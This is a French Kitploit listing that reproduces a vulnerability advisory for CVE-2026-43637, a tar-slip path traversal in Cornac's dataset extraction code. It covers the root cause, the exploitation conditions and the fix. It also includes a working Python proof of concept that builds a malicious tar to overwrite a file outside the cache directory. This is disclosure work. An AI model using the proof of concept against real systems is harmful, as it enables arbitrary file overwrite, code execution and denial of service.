Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43637-cornac — Traversée de chemin (Tar Slip) dans Cornac via _extract_archive (CVE-2026-43637) | Kitploit
Outils/GitHubGitHub/rahulreddykarne/cve-2026-43637-cornac
Analyse des VulnérabilitésExploitationSécurité de la Chaîne LogistiqueApprentissage et ÉducationRed Teaming
GitHubrahulreddykarne/cve-2026-43637-cornac

CVE-2026-43637-cornac

Traversée de chemin (Tar Slip) dans Cornac via _extract_archive (CVE-2026-43637)

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 17 joursPas encore vérifié

CVE-2026-43637 : Traversée de chemin (Tar Slip) dans Cornac via _extract_archive

Sévérité : Élevée, CVSS 4.0 8.8, Critique, CVSS 3.1 9.1 (attribué par VulnCheck, la CNA)

Vecteur (v4.0) : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Vecteur (v4.0) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Versions concernées : cornac < 2.6.0

Corrigé dans : 2.6.0

CWE : CWE-22 (Limitation incorrecte d'un nom de chemin à un répertoire restreint, 'Path Traversal')

Signalé par : Rahul Karne et Bharath Kumar Reddy Janumpally

CNA : VulnCheck

Publié : 15 juillet 2026


Résumé

Les chargeurs de jeux de données de Cornac téléchargent et décompressent automatiquement les archives, et le décompresseur faisait confiance à chaque chemin contenu dans l'archive.

Cornac est un framework d'apprentissage automatique pour les systèmes de recommandation. Ses chargeurs de jeux de données intégrés récupèrent des archives sur le réseau et les extraient sans aucune étape de confirmation. La routine d'extraction _extract_archive() de cornac/utils/download.py appelle archive.extractall() sans validation des chemins des membres. Une archive TAR dont les membres contiennent des séquences ../, des chemins absolus ou des entrées de type lien symbolique et lien physique écrit donc des fichiers à des emplacements arbitraires du système de fichiers, partout où le processus en cours peut écrire, entièrement en dehors du répertoire de cache prévu. Plusieurs chargeurs récupèrent les données via du HTTP non chiffré ; un attaquant positionné sur le réseau peut donc substituer une archive malveillante en transit et la faire extraire dès qu'un chargeur est appelé.

Impact

Écriture de fichier arbitraire avec chemin et contenu entièrement contrôlés par l'attaquant, limitée uniquement par les permissions du processus exécutant Cornac. Il s'agit d'une primitive d'écriture, et non de lecture, donc il n'y a pas de divulgation directe, mais l'écriture de fichier arbitraire est une voie bien établie vers l'exécution de code et le déni de service :

  • Exécution de code. L'écrasement d'un fichier .py dans site-packages, d'un fichier de démarrage de shell ou d'une entrée de tâche planifiée fait exécuter le code de l'attaquant lors de l'importation, du shell ou de la tâche suivants.
  • Déni de service. L'écrasement des modules ou de la configuration d'une application les remplace par le contenu de l'attaquant. Dans la preuve de concept vérifiée, un module cible est remplacé par un module qui lève une exception à l'importation, et l'application ne peut plus démarrer. La situation est permanente jusqu'à la restauration du fichier, et non un crash transitoire.
  • Altération de la configuration. Le remplacement d'un fichier de configuration peut rediriger une connexion de base de données, désactiver un contrôle d'authentification ou injecter des paramètres.

Qui est concerné : toute utilisation de cornac < 2.6.0 qui appelle un chargeur de jeu de données qui télécharge et extrait une archive que l'attaquant peut contrôler ou intercepter. Comme les chargeurs extraient automatiquement, aucune étape au-delà de l'appel ordinaire du chargeur n'est requise.

Qui n'est pas concerné :

  • Toute personne utilisant 2.6.0 ou une version ultérieure, où l'extraction valide chaque chemin de membre.
  • Le code qui n'invoque jamais un chargeur de jeu de données qui télécharge, ou qui n'extrait des archives que depuis une source entièrement fiable, à l'intégrité vérifiée, via un canal de confiance.
  • Les entrées ZIP ne sont pas exploitables via ce chemin (voir la note dans Détails techniques) ; le chemin TAR est celui qui est exploitable.

Portée

MétriqueValeurSource
Téléchargements, au total

Détails techniques

Cause racine

_extract_archive() de cornac/utils/download.py extrait les entrées ZIP et TAR via un chemin de code unique et, pour le cas TAR, appelle extractall() sans vérification des chemins :

root@kitploit:~
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
    """Extracts an archive."""
    for archive_type in ["zip", "tar"]:
        if archive_type == "zip":
            open_fn = zipfile.ZipFile
            is_match_fn = zipfile.is_zipfile
        elif archive_type == "tar":
            open_fn = tarfile.open
            is_match_fn = tarfile.is_tarfile

        if is_match_fn(file_path):
            with open_fn(file_path) as archive:
                try:
                    archive.extractall(extract_path)   # <-- no member-path validation
                except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
                    if os.path.exists(extract_path):
                        if os.path.isfile(extract_path):
                            os.remove(extract_path)
                        else:
                            shutil.rmtree(extract_path)
                    raise

Rien ne contraint les noms des membres ; un membre nommé ../../somewhere/file se résout donc en dehors de extract_path et y est écrit.

La chaîne d'appels est entièrement automatique à partir d'un appel de chargeur :

root@kitploit:~
cornac.datasets.<name>.load_feedback()
    -> cornac.utils.download.cache()            # downloads via urllib.request.urlretrieve
        -> cornac.utils.download._extract_archive()
            -> tarfile.extractall()             # writes attacker-named paths

Pourquoi le chemin TAR en particulier

Le module zipfile de Python assainit les séquences ../ lors de l'extraction ; la branche ZIP de cette même fonction n'est donc pas exploitable sur Python moderne. Le module tarfile de Python n'assainit pas les chemins des membres (avant la 3.12, et uniquement avec un filtre explicite ensuite). Comme Cornac fait passer les deux formats par le même appel extractall(), la branche ZIP est sûre et la branche TAR est entièrement exploitable via les mêmes lignes. L'asymétrie est facile à manquer précisément parce que le code paraît uniforme entre les deux formats.

Distribution via le réseau

Cornac télécharge avec urllib.request.urlretrieve(), sans épinglage de certificat ni vérification de l'intégrité de l'archive, et plusieurs chargeurs intégrés utilisent des URL http://. Un attaquant positionné sur le réseau peut intercepter le téléchargement en HTTP non chiffré et renvoyer un TAR malveillant sans compromettre le serveur en amont ; c'est pourquoi le vecteur est distant et ne requiert aucune interaction de l'utilisateur au-delà de l'appel du chargeur.

Conditions d'exploitation

Un attaquant a besoin de :

  1. Une cible utilisant cornac < 2.6.0.
  2. Que la cible invoque un chargeur de jeu de données qui télécharge et extrait une archive.
  3. Contrôler le contenu de l'archive, soit en exploitant le serveur en amont auprès duquel le chargeur récupère les données, soit en interceptant un téléchargement en HTTP non chiffré en transit.

Aucun privilège sur la cible et aucune interaction de l'utilisateur au-delà de l'appel du chargeur ne sont requis.

Preuve de concept

Ce qui suit a été exécuté contre le paquet réel, non modifié, en appelant directement la fonction _extract_archive de Cornac.

Version vulnérable (2.3.5). Un TAR contenant un membre ../../ est extrait dans un répertoire de cache ; le membre atterrit en dehors de ce répertoire et écrase un fichier appartenant à une application distincte :

root@kitploit:~
import cornac.utils.download as d
import io, os, tarfile, tempfile

base   = tempfile.mkdtemp()
cache  = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n    return 'healthy'\n")

mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
    ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
    tf.addfile(ti, io.BytesIO(payload))

d._extract_archive(mal, cache)      # Cornac's real function, cache dir as target

Résultat vérifié :

root@kitploit:~
victim app.py BEFORE : def run():  return 'healthy'
victim app.py AFTER  : raise ImportError('victim destroyed by tar slip')

benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True

Le membre bénin a écrit dans le cache comme prévu ; le membre ../../ a écrit dans le répertoire de l'application distincte, et l'importation de cette application échoue désormais.

Démonstration complète de l'attaque. poc_exploit.py dans ce dépôt exécute la chaîne complète de bout en bout : un serveur HTTP attaquant délivre le TAR malveillant, un chargeur reproduisant la chaîne d'appels cache() plus _extract_archive() de Cornac le télécharge et l'extrait automatiquement à partir d'un seul appel load_feedback(), et deux fichiers sont écrasés dans le répertoire d'une application distincte. La fonction vulnérable _extract_archive() est utilisée telle quelle depuis le code source de Cornac.

Version corrigée (2.6.0). La même archive de traversée est rejetée avant que quoi que ce soit ne soit écrit :

root@kitploit:~
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run():  return 'healthy'   (unchanged)

Regarder la démo

Remédiation

Mettez à niveau vers cornac 2.6.0 ou une version ultérieure :

root@kitploit:~
pip install --upgrade "cornac>=2.6.0"

La version 2.6.0 remplace l'appel extractall() sans protection par une fonction auxiliaire _safe_extract() qui résout chaque chemin de membre avec os.path.realpath et rejette toute cible qui ne reste pas dans le répertoire d'extraction ; elle n'autorise que les fichiers et répertoires ordinaires, bloquant les entrées de type lien symbolique, lien physique et périphérique.

Si vous ne pouvez pas mettre à niveau immédiatement : n'appelez pas les chargeurs de jeux de données qui téléchargent via des canaux non fiables ou en HTTP non chiffré, et n'extrayez pas d'archives TAR depuis des sources que vous ne contrôlez pas. La récupération via HTTPS réduit le risque d'interception en transit, mais n'élimine pas le risque lié à un serveur en amont malveillant ou compromis.

À propos du score CVSS

VulnCheck (la CNA) a attribué le score 8.8 (Élevé) sous CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).

  • AV:N : l'archive malveillante est délivrée via le réseau, et plusieurs chargeurs récupèrent les données en HTTP non chiffré sans vérification d'intégrité.
  • AC:L : la création d'un TAR par traversée est triviale et l'attaque fonctionne de manière déterministe à chaque invocation.
  • PR:N : l'attaquant n'a besoin d'aucun compte ni point d'appui sur la cible.
  • UI:N : le chargeur télécharge et extrait automatiquement ; un seul appel de chargeur déclenche toute la chaîne sans étape de confirmation.
  • VC:N : la primitive est en écriture seule, donc aucun impact sur la confidentialité n'est revendiqué.
  • VI:H / VA:H : l'attaquant contrôle entièrement le contenu écrit et peut détruire les fichiers que le processus peut écrire ; l'intégrité et la disponibilité du système affecté sont donc élevées.
  • SC:N / SI:N / SA:N : la CNA a évalué l'impact comme confiné à l'autorité du système vulnérable plutôt qu'à un système subséquent distinct.

Le score de 8.8 attribué par la CNA est la valeur faisant autorité pour ce problème.

Chronologie de divulgation

DateÉvénement

Crédits

Découverte et signalement par Rahul Karne (chercheur en sécurité et Senior Member de l'IEEE) et Bharath Kumar Reddy Janumpally, coordonnés via VulnCheck. Les divulgations connexes de Rahul incluent CVE-2026-65321 (injection SQL dans PyAthena) et CVE-2026-63720 (injection de code dans datamodel-code-generator).

Contact : [email protected] · GitHub : rahulreddykarne

Références

  • NVD (CVE-2026-43637) : https://nvd.nist.gov/vuln/detail/CVE-2026-43637
  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-43637
  • Avis de VulnCheck : https://www.vulncheck.com/advisories/cornac-path-traversal-via-extract-archive-in-download-py
  • Pull request de correctif #709 : https://github.com/PreferredAI/cornac/pull/709
  • Commit du correctif 8a50be7 : https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8
  • Notes de version v2.6.0 : https://github.com/PreferredAI/cornac/releases/tag/v2.6.0
  • Dépôt du projet : https://github.com/PreferredAI/cornac
  • Statistiques de téléchargement : https://pepy.tech/projects/cornac

Presse

Demandes des médias : [email protected]. PoC complète (serveur attaquant, archive de traversée, application victime) et détails techniques supplémentaires disponibles sur demande.

Télécharger l’outil
4.1M
pepy.tech/projects/cornac
Téléchargements, 30 derniers jours67.8Kpepy.tech
Utilisation typiqueRecherche et enseignement sur les systèmes de recommandation ; les chargeurs de jeux de données récupèrent automatiquement les données sur le réseau, certains en HTTP non chiffréinhérent au framework
3 mai 2026Vulnérabilité identifiée
4 mai 2026Signalement (divulgation coordonnée)
14 juillet 2026Correctif fusionné (PR #709, commit 8a50be7)
15 juillet 2026Version corrigée 2.6.0 publiée
15 juillet 2026CVE-2026-43637 publiée par VulnCheck